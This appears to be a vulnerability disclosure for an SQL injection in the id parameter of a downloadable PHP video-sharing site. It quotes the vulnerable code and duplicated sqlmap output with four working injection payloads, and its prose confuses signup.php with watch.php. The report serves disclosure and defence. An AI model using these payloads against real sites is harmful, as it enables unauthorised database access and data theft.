SQL injection vulnerability exists in id parameter of signup.php file of Video Sharing Website

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit index.php and page parameter is ‘watch’,it will include watch.php,and id parameter can do sql injection.

index.php

```
74          $page = isset($_GET['page']) ? $_GET['page'] :'home';
75          ?>
76      <?php include $page.'.php' ?>
```

signup.php

```
3   if(isset($_GET['id'])){
4       $qry = $conn->query("SELECT * FROM users where id = {$_GET['id']}");
5       foreach($qry->fetch_array() as $k => $v){
6           $$k  = $v;
7       }
```

```
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4/(3*2-5) AND 6049=6049&page=signup

    Type: error-based
    Title: MySQL ≥ 5.0 error-based - Parameter replace (FLOOR)
    Payload: id=(SELECT 3638 FROM(SELECT COUNT(*),CONCAT(0×716a787071,(SELECT (ELT(3638=3638,1)
)),0×71706a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&page=signup

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4/(3*2-5) AND (SELECT 3130 FROM (SELECT(SLEEP(5)))puzr)&page=signup

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=-8745 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0×716a787071,0×727a
724e6745556d4849654c546d766f6b4645526f78706a4877484d6e75696e4e50444f5271645a,0×71706a7a71),NULL
,NULL,NULL-- -&page=signup
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=4/(3*2-5) AND 6049=6049&page=signup

Type: error-based

Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)

Payload: id=(SELECT 3638 FROM(SELECT COUNT(*),CONCAT(0x716a787071,(SELECT (ELT(3638=3638,1))),0x71706a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&page=signup

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=4/(3*2-5) AND (SELECT 3130 FROM (SELECT(SLEEP(5)))puzr)&page=signup

Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=-8745 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a787071,0x727a724e6745556d4849654c546d766f6b4645526f78706a4877484d6e75696e4e50444f5271645a,0x71706a7a71),NULL,NULL,NULL-- -&page=signup
---
“

Source Download：
https://www.campcodes.com/projects/php/video-sharing-website-using-php-mysqli-with-source-code/